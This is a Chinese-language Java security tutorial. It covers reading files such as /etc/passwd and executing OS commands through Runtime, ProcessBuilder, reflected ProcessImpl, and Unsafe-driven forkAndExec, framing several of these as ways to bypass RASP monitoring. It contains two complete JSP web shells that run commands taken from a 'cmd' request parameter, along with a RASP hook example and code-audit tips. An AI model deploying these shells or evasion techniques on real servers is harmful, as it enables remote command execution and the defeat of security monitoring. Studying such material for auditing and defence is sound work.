1. 文件操作
1.1 常见文件操作类1.2 利用FileSystemProvider实现读文件1.3 利用RandomAccessFile读文件 2. 命令执行
2.1 java.lang.Runtime2.2 直接利用ProcessBuilder执行命令2.3 利用ProcessImpl对象执行命令
2.3.1 RASP 防御 Java 本地命令执行 2.4 利用forkAndExec执行命令2.5 总结
1. 文件操作
常用的有java.io和java.nio,java.nio的实现是sun.nio.
如果rasp监控了java.io里面的读文件的类,我们就可以使用java.nio来绕过监控并实现相同的功能.
1.1 常见文件操作类FileInputStream #读 java.ioFileOutputStream #写 java.ioRandomAccessFile #读和写 java.ioFileSystemProvider #读和写 1.2 利用FileSystemProvider实现读文件
package com.anbai.sec.filesystem;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
public class FilesDemo {
public static void main(String[] args) {
// 通过File对象定义读取的文件路径
// File file = new File("/etc/passwd");
// Path path1 = file.toPath();
// 定义读取的文件路径
Path path = Paths.get("/etc/passwd");
try {
byte[] bytes = Files.readAllBytes(path);
System.out.println(new String(bytes));
} catch (IOException e) {
e.printStackTrace();
}
}
}
1.3 利用RandomAccessFile读文件
package com.anbai.sec.filesystem;
import java.io.*;
public class RandomAccessFileDemo {
public static void main(String[] args) {
File file = new File("/etc/passwd");
try {
// 创建RandomAccessFile对象,r表示以只读模式打开文件,一共有:r(只读)、rw(读写)、
// rws(读写内容同步)、rwd(读写内容或元数据同步)四种模式。
RandomAccessFile raf = new RandomAccessFile(file, "r");
// 定义每次输入流读取到的字节数对象
int a = 0;
// 定义缓冲区大小
byte[] bytes = new byte[1024];
// 创建二进制输出流对象
ByteArrayOutputStream out = new ByteArrayOutputStream();
// 循环读取文件内容
while ((a = raf.read(bytes)) != -1) {
// 截取缓冲区数组中的内容,(bytes, 0, a)其中的0表示从bytes数组的
// 下标0开始截取,a表示输入流read到的字节数。
out.write(bytes, 0, a);
}
System.out.println(out.toString());
} catch (IOException e) {
e.printStackTrace();
}
}
}
2. 命令执行
2.1 java.lang.Runtime补充:
inputsteam类与outputsteam的区别
当写数据的时候,被写入的目标就是outputsteam,读数据的时候,即将被读的数据就是inputsteam.
Runtime类的getRuntime函数返回一个对象,接着执行这个对象的exec函数即可执行命令.
最终流程:
Runtime.exec(xxx)
java.lang.ProcessBuilder.start()
new java.lang.UNIXProcess(xxx)
UNIXProcess构造方法中调用了forkAndExec(xxx) native方法。
forkAndExec调用操作系统级别fork->exec(*nix)/CreateProcess(Windows)执行命令并返回fork/CreateProcess的PID。
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.InputStream" %>
<%
InputStream in = new ProcessBuilder(request.getParameterValues("cmd")).start().getInputStream();
ByteArrayOutputStream baos = new ByteArrayOutputStream();
byte[] b = new byte[1024];
int a = -1;
while ((a = in.read(b)) != -1) {
baos.write(b, 0, a);
}
out.write("" + new String(baos.toByteArray()) + "
");
%>
2.3 利用ProcessImpl对象执行命令
主要用来绕过rasp
import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.Map;
public class Main {
public static void main(String[] args) throws IOException, ClassNotFoundException, InvocationTargetException, IllegalAccessException, NoSuchMethodException {
Class clazz = Class.forName("java.lang.ProcessImpl");
Method start = clazz.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);
start.setAccessible(true);
start.invoke(null, (Object) new String[]{"open", "-a", "Calculator"}, null, null, null, false);
}
}
2.3.1 RASP 防御 Java 本地命令执行
在 Java 底层执行系统命令的 API 是 java.lang.UNIXProcess/ProcessImpl#forkAndExec 方法,forkAndExec 是一个 native 方法,如果想要 Hook 该方法需要使用 Agent 机制中的 Can-Set-Native-Method-Prefix,为 forkAndExec 设置一个别名,如:__RASP__forkAndExec,然后重写__RASP__forkAndExec方法逻辑,即可实现对原 forkAndExec方法 Hook。
@RASPMethodHook(
className = "java.lang.ProcessImpl", methodName = CONSTRUCTOR_INIT,
methodArgsDesc = ".*", methodDescRegexp = true
)
public static class ProcessImplHook extends RASPMethodAdvice {
@Override
public RASPHookResult> onMethodEnter() {
try {
String[] commands = null;
// JDK9+的API参数不一样!
if (getArg(0) instanceof String[]) {
commands = getArg(0);
} else if (getArg(0) instanceof byte[]) {
commands = new String[]{new String((byte[]) getArg(0))};
}
// 检测执行的命令合法性
return LocalCommandHookHandler.processCommand(commands, getThisObject(), this);
} catch (Exception e) {
RASPLogger.log(AGENT_NAME + "处理ProcessImpl异常:" + e, e);
}
return new RASPHookResult>(RETURN);
}
}
2.4 利用forkAndExec执行命令
步骤:
- 使用sun.misc.Unsafe.allocateInstance(Class)特性可以无需new或者newInstance创建UNIXProcess/ProcessImpl类对象。反射UNIXProcess/ProcessImpl类的forkAndExec方法。构造forkAndExec需要的参数并调用。反射UNIXProcess/ProcessImpl类的initStreams方法初始化输入输出结果流对象。反射UNIXProcess/ProcessImpl类的getInputStream方法获取本地命令执行结果(如果要输出流、异常流反射对应方法即可)。
代码:
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="sun.misc.Unsafe" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.lang.reflect.Method" %>
<%!
byte[] toCString(String s) {
if (s == null)
return null;
byte[] bytes = s.getBytes();
byte[] result = new byte[bytes.length + 1];
System.arraycopy(bytes, 0,
result, 0,
bytes.length);
result[result.length - 1] = (byte) 0;
return result;
}
%>
<%
String[] strs = request.getParameterValues("cmd");
if (strs != null) {
Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");
theUnsafeField.setAccessible(true);
Unsafe unsafe = (Unsafe) theUnsafeField.get(null);
Class processClass = null;
try {
processClass = Class.forName("java.lang.UNIXProcess");
} catch (ClassNotFoundException e) {
processClass = Class.forName("java.lang.ProcessImpl");
}
Object processObject = unsafe.allocateInstance(processClass);
// Convert arguments to a contiguous block; it's easier to do
// memory management in Java than in C.
byte[][] args = new byte[strs.length - 1][];
int size = args.length; // For added NUL bytes
for (int i = 0; i < args.length; i++) {
args[i] = strs[i + 1].getBytes();
size += args[i].length;
}
byte[] argBlock = new byte[size];
int i = 0;
for (byte[] arg : args) {
System.arraycopy(arg, 0, argBlock, i, arg.length);
i += arg.length + 1;
// No need to write NUL bytes explicitly
}
int[] envc = new int[1];
int[] std_fds = new int[]{-1, -1, -1};
Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
Field helperpathField = processClass.getDeclaredField("helperpath");
launchMechanismField.setAccessible(true);
helperpathField.setAccessible(true);
Object launchMechanismObject = launchMechanismField.get(processObject);
byte[] helperpathObject = (byte[]) helperpathField.get(processObject);
int ordinal = (int) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", new Class[]{
int.class, byte[].class, byte[].class, byte[].class, int.class,
byte[].class, int.class, byte[].class, int[].class, boolean.class
});
forkMethod.setAccessible(true);// 设置访问权限
int pid = (int) forkMethod.invoke(processObject, new Object[]{
ordinal + 1, helperpathObject, toCString(strs[0]), argBlock, args.length,
null, envc[0], null, std_fds, false
});
// 初始化命令执行结果,将本地命令执行的输出流转换为程序执行结果的输出流
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class);
initStreamsMethod.setAccessible(true);
initStreamsMethod.invoke(processObject, std_fds);
// 获取本地执行结果的输入流
Method getInputStreamMethod = processClass.getMethod("getInputStream");
getInputStreamMethod.setAccessible(true);
InputStream in = (InputStream) getInputStreamMethod.invoke(processObject);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
int a = 0;
byte[] b = new byte[1024];
while ((a = in.read(b)) != -1) {
baos.write(b, 0, a);
}
out.println("");
out.println(baos.toString());
out.println("");
out.flush();
out.close();
}
%>
2.5 总结
代码审计阶段我们应该多搜索下Runtime.exec/ProcessBuilder/ProcessImpl等关键词,这样可以快速找出命令执行点。



